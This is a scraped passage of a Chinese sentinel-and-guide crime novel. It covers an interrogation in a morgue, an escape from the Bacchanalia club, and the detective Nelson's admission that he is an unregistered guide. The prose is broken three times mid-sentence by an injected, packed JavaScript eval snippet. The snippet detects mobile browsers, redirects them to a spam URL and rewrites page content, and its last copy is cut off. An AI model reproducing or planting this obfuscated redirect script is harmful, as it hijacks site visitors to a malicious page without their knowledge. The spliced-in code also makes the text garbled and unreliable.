“海克,瓦夫……哦,死了的那两个?不,不太熟……我只偶尔和瓦夫聊天。他们是看守同一个向导的同事。” “在他们死之前,你和他们见过面吗?” “死……咳咳,死前?没见过。”鲜血淌满嘴和下巴,劳瑞害怕自己一问三不知会激怒对方,绞尽脑汁,又憋出一句,“我最近见到瓦夫那家伙都是十几天前了,他当时还在说,自己运气好,终于有得玩了。” “有得玩是什么意思?” “酒神节的传统,说是为了犒劳看守。一般向导扛不住快死的时候,客户们都会失去兴趣,负责的看守就可以用这个向导最后来两把向导之旅。” 他自顾自地说着,甚至有些得意,看不见防护服后莱蒂斯缩紧的瞳孔。 劳瑞话音刚落的瞬间,尼尔森忽然一把抓住了莱蒂斯的手腕。 刀光在黑暗里跃动,鲜血渗出皮肤。就在刚刚,莱蒂斯手里的那把砍刀已经切进了劳瑞阻断了痛觉的四指。 “别动手,会脏的。”尼尔森像是预判到莱蒂斯的冲动一样阻止了她,“他是活人,砍了会喷血。红色沾到我们的白色防护服上,会很容易暴露的。” 他把小姑娘绷得紧紧的手拉过来,另一只手开玩笑似的在自己身上比划了一下:“干净又卫生,这才是最重要的。” 他声音轻挑,却让人不寒而栗。那重伤又惊恐的哨兵对他来说仿佛只是一道不堪入目的印度糊糊,血肉模糊对他来说似乎是件玩笑事,用来活跃小姑娘不太明朗的心情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356908|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他说得确实有道理,莱蒂斯感觉到一种莫名的沉稳传递过来。她深呼吸了一下,两下,依然做不到把手抬起来,但在尼尔森的帮助下,她克制住了自己彻底切掉劳瑞手指的冲动。 她闭上眼睛,不去看那连人最后的尊严和生命都要榨干的混账哨兵,不去想那个向导悲惨的结局。 她问:“他们看管的向导,你知道他的名字吗?” “酒神节不叫名字,只有代号。那个向导叫白什么来着……啊。白鸟。” 白鸟。 莱蒂斯记下这个称呼。 对于白鸟,她有个和审问无关的问题,她怀着某种天真的希望。 现在的线索可以拼出一个皆大欢喜的真相——那个连环杀人犯就是那个向导。他有足够的动机,契合所有情报,说不定他活着逃出去了,才有机会复仇,杀掉那两个罪有应得的看守。 这样的话,等莱蒂斯找到他,就可以请布列塔尼队长把他保护起来,把他送去向导之家接受治疗,去看医生和心理医生,去别的城市,去慢慢好起来,忘掉这个繁华街区里令人憎恶的地狱。 于是,少女问道:“白鸟他……现在还活着吗?” “啊?早死了啊?怎么可能还活着。”劳瑞莫名其妙地回答,轻飘飘地击碎了她的幻想,“也就差不多十天前吧?本来他尸体也是该瓦夫和海客负责的,结果他俩都死了,没人管这事儿,押运清洁工的事情才让我来的。” 他梗着脖子,艰难地环顾四周:“刚那具尸体呢?那就是那个白鸟啊。” 劳瑞没能找到白鸟干枯的尸体。 莱蒂斯暂时把他放回了冰柜,因为担心暴露在外过久会开始腐烂。 他正侧卧着蜷缩在原先的冰柜里,四周细小的冰晶如同棺中丝绒。 他有一头雪一样的白发。那没有闭上的,空洞的瞳孔,即使已经死去多时,也如极地的海一样湛蓝。 一个哨兵走在奎因河畔。 只要没到后半夜,这里就还是圣卢赛特最舒适的散步去处,最愉快的嘉年华。 人们沿着河道而行,露天酒吧里谈笑被卷进风里,移动餐车里有食物和甜品,香味和卖艺的吆喝碰撞,消弭在四周建筑投下的霓虹灯的色彩。 而在河流对岸,路灯和树影在繁华的城市里隔绝出一道静谧的长道,哨兵就在这里,难得轻松地走着。 他手里拿着一份和他气场格格不入的可丽饼,一边散步,一边回味着这份甜品的味道。他之前没吃过这个,也尝不出它的好坏,但向导应该是喜欢的,所以他一直拿在手里。 “好久没吹到风了啊……”向导在他身边,有些神游地看着对岸的灯火。 “嗯,是。”哨兵讷讷地回应,又问他,“你想去对面吗?我们可以过去。” “不。”向导微笑着摇摇头,目光移向天空,“其实我更喜欢这里,安静,灯光也少。你看,天上是不是还有几颗星星?” 哨兵也抬着头。他有着杰出的视力,即使如此,在这被空气污染和光污染遮蔽的天空中,他也只能找到几点微弱的星光,无比暗淡。 哨兵想起向导说过,自己喜欢自然和夜空。在城市之外的地方,星星会闪耀如同燃烧的银色长河。 向导还告诉过他,还有比星空更绚烂的夜晚。 向导的梦想就是去北方,亲眼看一次那被太阳风暴所引发的,神奇的极光。 可这样的奇迹不会降临在圣卢赛特,因为它的纬度,或许也因为它的罪孽。 “……对不起,白鸟。我没法带你离开这里。”哨兵看着城市发白的灯光,闷闷地说,“这里没有你喜欢的东西。而我,我没法给你你喜欢的,只能帮你除掉你讨厌的。” “别这么说,你已经做得够多了……要不是你救了我,我连夜空都不可能再见到。”白鸟有些无奈地轻笑,他知道哨兵带他走这条路,其实是因为他喜欢安静和夜空。 “这里怎么会没有我喜欢东西呢?”他蓝色的眼睛映着哨兵,里面是真挚的笑意,“现在我已经很满足了。” 白鸟说着,白发被路灯渡上温柔的浅金色,像是一抹月光。 可在他身下,本该有影子的地方,却是空荡荡的一片。 19. 第十八章 尼尔森和莱蒂斯推着大冰柜离开了停尸房。 两人的脚步平稳,又带点紧张,就像先前的清洁工们每一次运输尸体时那样。 冰柜的轮子在地毯上留下两道痕迹,他们凭记忆绕出地下第三层复杂的走廊。那些危险的哨兵几乎都在套间的隔间里守着向导,他们谁也没遇到。 两个穿着防护服的入侵者走进电梯,按下0层的按钮。 运气还算好。尼尔森想。 他在进来时观察过,酒神节的后门没有落锁。它采用的是外面无法打开,从里面却能推开的设计。酒神节的人对自己太过自信,根本没考虑过会有人能混进酒神节内部。 只要他们顺利到达第0层,一切就简单了。 电梯门缓缓合上,将视野压缩成越来越窄的长条。 就在这时,一队人却突然从对面的走廊路过。 操。 尼尔森不动声色,在心中骂了一句脏话,而身旁莱蒂斯的情绪也同时升起,但她散发的不是慌张,而是怀疑。 那是三个行色匆匆的男人,推着一个病床。床上躺着一个将死的,瘦骨嶙峋的向导,他脸上戴着吸氧面罩,呼吸几乎要停止了。 他们都穿着和看守不同的白色大褂,在这把向导当作玩物的地方一副要努力维持住向导生命体征的样子,反而像一首葬礼上的喜乐,让人觉得诡异。 领头的人肤色较深,身型板正,看起来和医生相去甚远。他正拿着一个亮着灯的对讲机:“Q43的向导马上要死了,准备好设备……” 尼尔森一点都不想知道这群怪人又是怎么回事,酒神节的幺蛾子和他没有半毛钱关系。他默默把手按在关门键上,只希望这破电梯门赶紧关上,别引起任何人注意。 然而事情并不如他所愿。拿对讲机的男人说到一半,敏感地注意到了正在合拢的电梯门,他的视线穿过门的缝隙,落在两个清洁工的身上。 就这么一瞬间,尼尔森浑身一僵。他没感觉到任何情感波动,却有种被猛兽盯上的危机感。 下一秒,男人从白大褂里拔出了一把□□,对准将要合拢的门缝连开三枪,子弹直冲尼尔森的眼睛而来! “砰!” 几乎同时,反应更快的莱蒂斯果断抬腿,一脚把尼尔森踹到弹道之外,自己也闪身躲到一边。连续的子弹击中了电梯内的铁皮,巨响在狭小的空间里回荡。 电梯外,男人已经冲了上来,伸手要拦住电梯的门,另外两个男人还愣在原地,不明白他为什么要突然对清洁工发难。 可惜电梯门本就已经快要关上,走廊又有一小段距离。等男人赶到电梯前时,他只看见已经合拢的门上映着自己严肃的脸。 他听见钢索的声音在电梯井里响起,它拉着那两个清洁工升起,往地面上去。 他冷静地站直身体,把手里的对讲机切了个频道: “有外人进了第三层,坐电梯跑了。快让你们的人去处理。” “里奇先生?这是怎么了?”推着病床的一个男人在后面茫然地问。 “不关我们的事。”被称为里奇的男人冷淡地回答,快步走回病床旁边,“快走,不然向导死了就没用了。” “疼疼疼……能不能对手无缚鸡之力的弱势群体温柔一点?”电梯里,尼尔森扶着腰站起来,莱蒂斯刚刚给他的那一脚虽然救了他的命,但也让他挨得不轻。 “那家伙是谁,他们在干什么,为什么我们会暴露?”莱蒂斯没理会他的卖惨,一连抛出一串问题。她已经进入了战斗的状态,摆出了格斗的预备动作。 “谁知道他们在干什么。”没点战斗技能的尼尔森啥也干不了,站在原地揉腰,“估计是我们身上沾了点什么,被那个男的发现了。他很灵敏,肯定是个哨兵。” 而且是个很强很警惕的哨兵。尼尔森想,他甚至随时维持着情感隔断。这也是精神屏障的一种,对哨兵来说精力消耗很大,一般只有在战场上避免被向导探查时才会展开。 “我们身上的味道没有问题,我闻得出来。”莱蒂斯皱着眉,把尼尔森按到电梯一角,自己也侧身躲在角落,以防门外有伏兵。 “是啊,要是那家伙也只觉醒了嗅觉就好了。”尼尔森站在她旁边,嘴上敷衍,却观察起他们身上的防护服。 电梯上升,上升,路过地下二层和一层。酒神节对自己武力有足够的自信,对自己的会员也致以最高的尊重,为了避免在赌场和夜店发生战斗影响顾客,电梯没有被拦停。 在这点时间里,借着身高优势和电梯里明亮的灯光,尼尔森还真发现了问题所在。 这让侦探眯起了眼睛。 “……有意思。”他说,指了指莱蒂斯的肩膀,“这里,你肩膀上有个血点,很小,估计是那个劳瑞对你吐口水的时候沾上的。” 这血点太小了,跟针扎出来的一样,颜色也因为混合了唾液而更接近淡黄的污渍。防护服干扰了尼尔森的视线,即使一直站在莱蒂斯旁边,他也没注意到它的存在。 “但那男的隔这么远就能看见,少说是个s级哨兵吧。”尼尔森轻描淡写地说。 “还好他没赶上电梯,也没戴机械臂。其他哨兵大多也都在三层,在一楼留守的估计没什么人。我们得抓紧时间打败他们。”莱蒂斯分析道,“虽然不知道你是怎么做到的,但你最好像之前在停尸房里那样把自己隐藏起来,尼尔森,不然你会被波及。” “非常遗憾,做不到了。”尼尔森语气似笑非笑,把手机掏了出来,“所以这次咱们还是同甘共苦吧。” “叮!” 电梯到达的声音像是擂台开赛的铃声。 门外,本来负责在前门接待的两个哨兵赶到电梯。他们身上只配备了左轮,但这对哨兵来说已经足够,所以他们自信地直接堵门。 但也可能不那么够。 电梯门刚一打开,就传来一阵让人牙酸的古怪声音,里面夹杂的怪异音波如同蛛网一样糊在他们的听觉神经上,他们不得不分出注意力去清理这种干扰。 莱蒂斯抓住对方这一瞬的迟疑,翻上冰柜,高抬起腿从上而下,一脚跟踢在一个哨兵手腕,打掉对方的枪。 另一个哨兵调转枪口对准莱蒂斯,被小姑娘伸手握住了枪口和手腕。莱蒂斯双手一拧,把他手腕直接卸了下来。 她顺势夺过左轮,侧身对准走廊里的摄像头连续开枪,躲过对方攻过来的拳脚,顺手射爆了哨兵的膝盖。 她完美地牵制住了两个哨兵,尼尔森得以抓紧时间把冰柜推出来。枪声和格斗的声音乒乒乓乓地打着节奏,侦探唯一帮上的忙是一抬了一下脚,把地上的左轮踢到了哨兵能捡到的范围外。 下一秒,想捡枪的哨兵被莱蒂斯用枪托重重敲在后脑,整个人扑倒在他面前,和另一个已经昏过去的人平行排列,非常安祥。 “快走!”莱蒂斯用力挥手。 他们身后的电梯已经下行,是第三层的哨兵按了电梯。而且酒神节内部肯定还有其他电梯和楼梯,随时会有人追上来。 他们的时间不多了。 尼尔森推着冰箱跟上小姑娘,特地从两个哨兵身上碾过去。 他们鼻青脸肿,但都还活着。 唉。尼尔森无奈地叹口气,这小姑娘即使对酒神节的行为愤怒至此,也没下杀手。要是刚刚直接打爆他们脑袋,现在他俩的时间应该会更多的。 后门毫不意外地落了锁。莱蒂斯急躁地对着电子锁开枪,却只打坏了显示屏。 子弹接连在光滑的表面发生跳弹,她很快意识到此路不通,抬腿踹了大门一脚,转身对尼尔森说:“不行,这边走不了,计划有变,冰柜带不出去了。我们去正门!” 说罢,她抓起侦探的手,拉着他就要跑。在他们身后,电梯到达了负三层。 “这冰柜确实带不出去。”尼尔森反手把她拉住,“但是正门现在估计也锁了,路上说不定还会遇到其他路线来的追兵,没必要冒这个险。” “那就从窗户走。”莱蒂斯皱眉,“至于追兵,可以用你刚刚放的那个怪声音控制他们,给我几秒的时间,我会解决。” “那玩意是军方研发的干扰音频,因为不够完善甚至从来没在实战里用过。它是我平时拿来自保的,只对不成气候的哨兵——比如地上那俩——有用,但派过来追我们的哨兵多半没那么简单。” 莱蒂斯看起来很急,似乎想直接把他扛起来直接走:“好吧,但是无论如何我们都得快点离开这里,后门走不了,酒神节的人要追上来了。” “倒也不是走不了。”尼尔森却不太急,那电梯的标志已经变成了上行,他打开冰柜,架起里面的一具人体往外拖,“我有办法开门。快把这家伙右手给接回去,然后把他掐醒!” 他把那具带着冷气的身体扔在地上。 哨兵劳瑞,作为本要被偷偷带走的证人,和白鸟的尸体一起被塞在大冰柜里,这会儿已经冻得脸色发白了。 真不知道这是运气好还是运气坏。尼尔森再次如此感慨。 莱蒂斯看起来很是怀疑,却带着信任的情感听了尼尔森的要求,像组装枪一样把劳瑞的关节复位。 此时,电梯离开了负三层 尼尔森笑了。他蹲下来,扶住了劳瑞的太阳穴。 被发现当然是件坏事,他们陷入危险,还没办法带证人和尸体离开。 但好消息是,各种机缘巧合之下,尼尔森居然有机会重现一下之前为所欲为的好时光了。 脖子上的一阵疼痛唤醒了哨兵。 上一次这种疼痛之后就是用刑,他本能地有些害怕。 他冷,又浑身都疼,意识朦朦胧胧,连眼睛都睁不开了。他努力想醒来,但低温和失血让他在一片黑暗和眩晕中挣扎。 在这黑暗中,他看见了一点金色的光芒。 光芒很微弱,却很绵长。它像是一串又一串被某种透明的东西连在一起的星星,在深海一样的黑暗里明明灭灭。 是酒神节的人来救他了? 向往光明的本能蛊惑着劳瑞,他向那光芒伸出手,转瞬被那光芒缠住,侵入,神经中游走的电信号似乎都染上了那光芒的色彩。 一阵古怪的冲击碾过他全身,劳瑞忽然被扯出黑暗的泥沼,却有种猛地从海底浮上的不适感。人世的光线让他双眼昏花,他看见酒神节0层的天花板和走廊,一个人影站在他面前,他是哨兵,他一眼就看出那是谁。 那个穿防护服的护卫! 劳瑞怒不可遏,他抬起手对准护卫,驱动右手的机械臂,他的子弹仿佛能感应到他的屈辱和他的憎恨,对着护卫倾泻而去! 枪声响彻整个走廊。电梯已经到了负一层。 “哒哒哒哒哒——” 毫发无伤的莱蒂斯惊讶地看着酒神节的后门布满弹孔,然后轰然倒塌。 举着机械臂,满脸愤恨的劳瑞眼睛泛着和尼尔森瞳色相近的金黄,恶狠狠地瞪着后门,露出大仇得报的表情,然后突然又昏了过去。 “好了。”尼尔森把劳瑞往地上一扔,笑着对莱蒂斯伸出手,“走吧,出去了。” 莱蒂斯果断拉住尼尔森的手。 电梯上显示的楼层像是某种迫近的倒计时。 尼尔森准备和她手拉手一起逃出去。 然后嫌尼尔森动作慢的小姑娘把他往自己这边一拉,直接一把把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356909|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人扛起来,飞快地冲出了酒神节。 被扛在肩上的尼尔森:“?” “操!人呢?” 从电梯里冲出来的哨兵举着机械臂大喊,另一边,从楼梯来的队伍和他们会和在了走廊。 他们面前只有千疮百孔的酒神节后门,一台冰柜,两个躺地上的哨兵和一个躺地上的劳瑞。 无人在意可怜的劳瑞。哨兵们冲出酒神节,看见后巷巷口的垃圾车已经启动,轰隆隆地朝大路开去。 “追!”哨兵们果断采取行动。 领头的男人戴着耳麦,边追边骂骂咧咧:“喂,你们的人呢?他妈的,明明是你们发现的,怎么不早点动手,非得等到我们来?” “喂喂,拜托,人家也是被突然叫过来的好不好。”耳麦的另一侧,一个少女不满地说。她站在监控室里,手里拿着一本漫画,“人家明明在看一段超感人的剧情,男主把一切都交给敌人来换回他挚友,人家马上就能哭出来了!你们真扫兴。” “我们看了监控,这件事不在我们管理范围内。”先前被叫做里奇的男人也在,他已经迅速浏览完了那两个清洁工的路程,“他们没发现有负四层。顺便一提,监控里并不能看出他们的身份。” “妈的,天天的屁事不干,卵用没有。”哨兵队长呸了一声,追到街上。 垃圾车油门拉满,卯足了劲儿往前冲。 以为有车就跑得掉了? 哨兵队长站在巷口,不继续追,只是屏息凝视地盯着那高速运转的轮子。 他找准了一个薄弱点,抬手一枪打爆了垃圾车的车胎。 路人尖叫起来,垃圾车一头栽进一堵墙里。 队长提高声音:“车里面的,不准动!动一下就死,不开玩笑,听见了没?” 看守们默契地架着枪,包围了车辆。 哨兵队长从容地朝车门走去,嘴上继续对耳麦里的同事骂骂咧咧:“就这点破事都得我来,你们到底有什么用?真不知道上面为什么要跟你们合作。” “嗯嗯,为什么呢?人家其实也不知道呢。”少女说着,扫了眼监控画面。 在负一层的夜店,负二层的赌场,负三层的向导之旅以外,还有几块色调暗淡的屏幕。 屏幕上的房间很大,看起来像是一个机房。大量闪着光的机器像是一块块石碑整齐排列,环绕着几张病床。 其中一张病床上,躺着刚刚被里奇带走的向导。他头上接着一台古怪的仪器,几根数据线伸出来,和满地的电线绞在一起。 电线和数据线都汇集到了房间中央。在那里,是一个休眠舱一样的装置。透过表面的玻璃,隐约能看见其中有一个瘦小的少年。 他漂浮在里面,大量的电线和数据线从他大脑里拖拽而出,像是从他身体里生长出的畸变增生。 休眠舱的底部,印着一个logo:“拉奥孔科学发展公司。” 而如果是共感者看见这个房间,则会注意到别的东西。或者说,只会注意到那一样东西。 在这个房间的上方,漂浮着一只红色的海蛞蝓。 这种美丽而柔软的生物被叫做西班牙舞娘,因其色彩和身姿如同西班牙舞女的红色长裙。 但当着本该只有十余厘米大的生物生长到直径两米时,它看起来只会像一个巨大的,可怖的肉球。它软体的表面不断蠕动,抽搐,如同一个从巨人身体里取出的脏器,静静在黑暗里跳动。 少女歪歪头,这只西班牙舞娘好像又变大了点。 “嘛。”于是她笑着说,“可能是为了科学吧!” “科你妈的学,啊呸,恶心。”哨兵队长因为她的装模作样呕了一下。他踩上垃圾车的踏板,把车门拉开。虽然不知道那两个清洁工是怎么打穿酒神节后门的,但他们费尽心思,转眼也还是被他们轻而易举地抓到了。 “……操!” 少女的耳机里突然传来一声大骂,吓得她夸张地朝另一边倒去,像是受到了声波冲击。 里奇切进频道:“怎么了?” “……妈的,算了。我让他们直接跟你说。”耳麦那边,哨兵队长的太阳穴因为生气而突突直跳。 他强压下火气,然后把手上的机械臂一架,对准车上的人:“怎么回事?说话!不然崩了你!” “我,我我我,我们也不知道啊!”两个光溜溜的男人缩在驾驶舱里,和队长面面相觑,一脸惊魂未定。 “我们被人打晕了!衣服也被扒了!醒来的时候就在车上,然后有两个人跟我们说,他们用我们的身份混进了酒神节,现在酒神节的人要来杀我们了,然后让我们赶紧开车跑……我吓坏了,我下意识就开车了!但我们真的什么都不知道啊!” 少女乐不可支,里奇站得笔直。反正不关他们的事。 “唉……”哨兵队长仰着头深吸一口气,然后切了全员频道大喊,“目标不在这!散开,都他妈给我去搜!他们肯定还没走远!” “好,然后是你们两个。”哨兵队长低下头,重新看向那两个清洁工,“那两个人长什么样,快说!” “一男一女!男的褐色头发,戴着眼镜,女的黑色头发,眼睛是绿色的!” “啊妈的……具体点!年龄,穿着,身高!”哨兵队长专业地盘问,说着说着突然一顿,“等会儿,黑色头发,绿色眼睛。那这女的是不是年纪不大,是个护卫。” “啊,护卫……对对,是个护卫。我瞄见她带耳钉了!”矮个子的男人连连点头。 “……”队长的脸上写满了真麻烦。 他把耳麦切到了酒神节前台:“联系伦滋。那个小少爷让我们注意的人,真的找来酒神节了。” 20. 第十九章 老伯爵街的几站路外,莱蒂斯把所有在酒神节收集到的情报发给了布列塔尼。调查部的部长在回复里再三确认了她的安全,最后向她表示,这件事她会处理。 小姑娘松了口气,沉重心情稍微好了些。她刚准备把手机收起来,屏幕上却突然亮起了来电提醒。 来电显示是布列塔尼。 她接通电话,屏息凝神。 电话说:“这里是圣卢赛特大□□,恭喜您中了我们的特等大奖,请提供您的银行账号——” 莱蒂斯:“……” “嘟。” 桌子对面,尼尔森伸手过来按掉了挂断键:“你这才来多久啊,现在电信诈骗效率也太高了。圣卢塞特的诈骗号码已经能做到随机顶一个你通讯录里的名字显示了,第一次见吧?” 他手里拿着份菜单,吐完槽了,又悠哉悠哉地看起来。 “来两份白酱蘑菇意面吧。啊,还有蜜瓜火腿吗?没了?哎呀,那就来一份番茄马苏里拉沙拉吧。” “真可惜。您应该早些预定的,尼尔森先生。否则我说什么也一定得给您留一份蜜瓜火腿。”头发花白的老板娘遗憾地摇摇头。 她是个矮胖的女人,穿着条围裙,气质和蔼,仿佛是童话里最标准的老奶奶。 “您瞧我们现在这样子,也能看出我们是临时起意来您这儿的啊。”尼尔森带着无奈地笑笑,拍掉几张卡在头发里的纸片。 他和莱蒂斯恐吓完那两个清洁工后,在小巷里的垃圾桶躲了一会儿,之后才趁着那群哨兵被垃圾车引开时逃走。在路上,莱蒂斯往他们身上狂喷了一整瓶气味阻隔剂。 这种发明本来只是用于少量喷在共感者人中,从而减轻他们的嗅觉敏感度的,价格特别贵。但莱蒂斯显然已经不在乎它的正确使用方法了。 直到他们走进这家散发着家常味道的餐厅,嗅觉敏感的小护卫才终于放下心理障碍。 老奶奶只是和气地看着这两个灰头土脸的年轻人:“哎呀,这么晚才来吃饭,你们一定都饿坏了。” “我们其实是……”莱蒂斯欲言又止。当尼尔森说要带她去个安全的地方的时候,她没想到他们会来到一家已经打烊的意大利餐厅。 这里的装修朴素,桌椅都是旧款式,泛黄的墙上贴着很多旧照片,还有已经卷边的菜单。 店主奶奶热情地招待了他们,专门为他们打开了一盏店里的灯,还在桌上放了个小花瓶,莱蒂斯有点不好意思。 当然,她更担心的是,这样一个由老人经营的,港湾一样的小餐厅,是否真的是个和尼尔森谈那些事的好地方。 “哦,别担心,孩子。你可以在这里畅所欲言。”老奶奶误解了她的犹豫,“尼尔森先生帮过我儿子大忙,我绝对不会把你们聊的话泄露出去的。” 莱蒂斯赶紧解释道自己并不是这个意思,换来了老人慈祥的笑。 尼尔森也跟着解释:“是这样的。之前布列塔尼让我查过一个帮派二把手的事情,结果我无意间帮盖比太太和她的儿子解决了一个大麻烦。之后他们就一直待我很友好。” 莱蒂斯对尼尔森刮目相看:“你帮他们解决了勒索他们的帮派吗?” “不。”尼尔森大方地介绍,“那个二把手因为我收集到的情报被布列塔尼逮捕之后,盖比太太的儿子正好接替了他的位置。我帮他在帮派里升职加薪了。” 慈祥的老奶奶微笑着点点头。 莱蒂斯用一张没什么表情的脸展现出了一种很复杂的情绪。 尼尔森理所当然道:“圣卢赛特可没几个人会招惹一个帮派二把手的家属。所以这家店既可信,又安全。我知道你有很多问题要问我,在这里聊这些再合适不过了。” “而且,我的店还有最好吃的意面。”盖比太太对尼尔森的评价颇为自豪,她摆摆手,把空间留给年轻人们,“想聊什么就聊吧,亲爱的孩子们。晚餐很快就来。” 现在已是深夜十二点过,无论是吃晚餐,还是做别的什么,都已经很晚了。 这条居民街上已经没有人在活动,有些发黄的灯光在小餐厅里为尼尔森和莱蒂斯的餐桌涂抹上柔和的色彩。 盖比太太离开后,年轻人们之间的气氛紧张了起来。沉默之中,莱蒂斯直直盯着尼尔森蜂蜜一样的瞳孔,像一只审视着来客的狼。 因为他在酒神节的所作所为,她信任他,也因为他在酒神节的所作所为,她怀疑他。 她不再问他是怎么做到的。 在看见劳瑞当时的行为后,她已经得出了结论。 她说:“你是个未登记的向导。” 没有戴耳钉的尼尔森不慌不忙地回答:“是的。” “你是一个能引发认知偏差的向导。” 尼尔森微笑起来,但笑意未达眼底。 “是的。” “就像首席那样?”莱蒂斯皱起眉,下意识地绷紧了身体。她身上的警惕像是拉响的警报一样在尼尔森四周回荡。 认知偏差,这是一种非常危险,也非常稀有的能力。 它来源于向导影响他人情绪和感官的能力。过去千百年来,这种能力都只用于辅助哨兵,疏导哨兵过载的感官和失控的情绪。 直到有一天,有向导发现,当自己的共感力足够强大时,这种能力还能对感官造成误导。 也许误导的效果只是让哨兵把实际在左边30cm的目标误认为是在左边20cm,但这样的错误足以让哨兵的攻击产生致命的偏差。 更有甚者,还能通过误导五感编织出幻觉,改变目标所感知到的现实。 究竟是谁第一个做到引发认知偏差的,已经不得而知了。由于历史上向导常年被视为哨兵的附庸,或者更直白一些。奴隶,所以这种能力就像女巫的传说,一直只是坊间传闻。 将认知偏差第一次带进公众视野的,是一个叫柯林斯.弥斯的女人。 大约三十年前,她不仅第一次引发了有记载的认知偏差,还直接将它运用在了战场。 她的共感力过于强大,以至于她不仅只是让某个哨兵打偏了目标——她让一场战役中所有的敌方哨兵产生了向上50cm的认知偏差,所有来自敌人枪管的子弹全部飞向空中,只在破败的建筑上多添了一条裂缝。 最终,奥西恩王国的军队在毫发无伤的情况下全歼的敌军。 在那个自动制导系统尚不发达的年代,她引发认知偏差的能力彻底改变了僵持的战局,迅速给奥西恩王国带来了胜利,还有多年稳固的国际地位。 柯林斯也凭借功勋和才干逐年向上攀升,在只认哨兵为领袖的塔里,以向导的身份史无前例地成为了首席。 柯林斯严格地管理塔的运营,还推行了对标培养哨兵的基地“圣所”的“向导之家”,将其作为尚未结合的向导的训练和生活的国立机构。 要知道在此之前,刚觉醒的向导只会被送往塔,然后与哨兵进行匹配,最后送去哨兵的家里圈养,等待哨兵在圣所完成训练。在柯琳斯的组织下,他们有了能够安全成长的环境。 直到现在,年近七十的柯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个也确实没有。”莱蒂斯面无表情地嫌弃道,她愿意在尼尔森陷入噩梦的时候帮他,但还没有到会把手递给一个能引发认知偏差的向导的地步,“我是想说,我的问题还没问完。” “关于我的?” “关于案子的。现在连环碎尸的线索断在了酒神节,两个看守的哨兵死了,被害的向导也死了。唯一可能的线索,只剩下那个叫白鸟的向导接待的对象。”莱蒂斯在说出“接待”二字时散发出了强烈的厌恶情绪,“尼尔森,你对圣卢赛特很了解,关于他接待的对象,你有什么思路吗?” “嗯,”在酒神节经历了生死关头的尼尔森重回摸鱼状态,敷衍地回答,“他肯定很有钱。” 莱蒂斯把昨天他嘲讽的话原句奉回:“我的意思是我不知道的思路。” “布列塔尼已经答应处理这件事了,你何必再继续呢?你难道不相信她吗?” “我当然相信部长。”莱蒂斯说,突然主动抓住了尼尔森的手腕。尼尔森还惦记着使用自己的能力,结果一头撞在了厚得跟城墙似的精神屏障上。 糟糕,她好像不是想看自己的精神动物啊。 尼尔森突然明白了什么,他抬头看向莱蒂斯。 在安静又昏暗的店面里,莱蒂斯的绿眼睛像燃烧的磷火。她说:“但我还是会尽我所能去找到真相。尼尔森,你说过要将功补过,在调查陷入瓶颈时提供线索。你要是不说,我现在就把你欠的那顿揍给你补回来。” 才见过她徒手拆人关节的尼尔森笑容僵了。 这小姑娘到底是从哪学的这些比黑手党还黑手党的做派的啊…… 21. 第二十章 “哎呀,我打扰到你们了吗?” 盖比太太端着意面和沙拉来到桌前,看了眼两个年轻人拉在一起的手,眨了下眼睛。 ”不,并没有。”莱蒂斯和尼尔森异口同声地说。 尼尔森不动声色地把手往回缩:“先尝尝盖比太太的手艺吧,莱蒂斯,别的事情待会儿再说。” 莱蒂斯面无表情地收紧了力道,紧盯着尼尔森,却礼貌地对老奶奶说话:“请把吃的放在桌上吧,盖比太太,我们很快就吃。” 老奶奶想起当年催孩子吃晚饭的时光,尤其是莱蒂斯跟黑手党打手一样的打扮,简直和她儿子的风格一模一样。 她于是溺爱地说:“好,好。那我先去准备送给你们的小甜点。但一定要快些吃意面,白酱凉了味道可就不好了。”然后离开了。 “等等,您不用这么客气的……”尼尔森说,但被完全无视,他眼睁睁看着盖比夫人离走掉,手腕在莱蒂斯手里岌岌可危。 “唉,好吧。”尼尔森垂下头,放弃挣扎,坦白从宽,“我确实有一个想法。” “白鸟接待的人,来自一个有权有势的家族。他应该只是个普通人,不是共感者,并且只是家族中的小辈,没有独立产业。他不是凶手,但知道连环杀人案和酒神节有关。近期——具体来说就是前天,他和圣卢赛特警局的警长私下联系过,可以从这个角度入手去查。” 莱蒂斯的目光从严厉变成了惊讶,手上的力道松开了。 “满意了?”尼尔森把手抽回来,把叉子塞进小姑娘手里,“放松点,我们都好几个小时没吃饭了。边吃边说吧。” 意面入口,莱蒂斯已经饿得没有感觉的身体变得暖和起来。她在这种暖洋洋的满足感里放松了些,低下头专心吃起晚餐。 尼尔森再次意识到莱蒂斯只是个还没完全长大的女孩,她因为食物而散发的感情单纯又温暖,将他包围起来。难得地,他放任自己被其他人的感觉影响,和莱蒂斯共享起这种平静、温馨的感觉。 暖色的灯光轻飘飘披在他们身上。 他沉默了一小会,给了莱蒂斯一小会放松的时间。但她迟早会开口问自己,所以尼尔森干脆率先陈述起自己不那么温馨的推理: “要推出这个客人的身份,其实只需要想明白两个问题。” 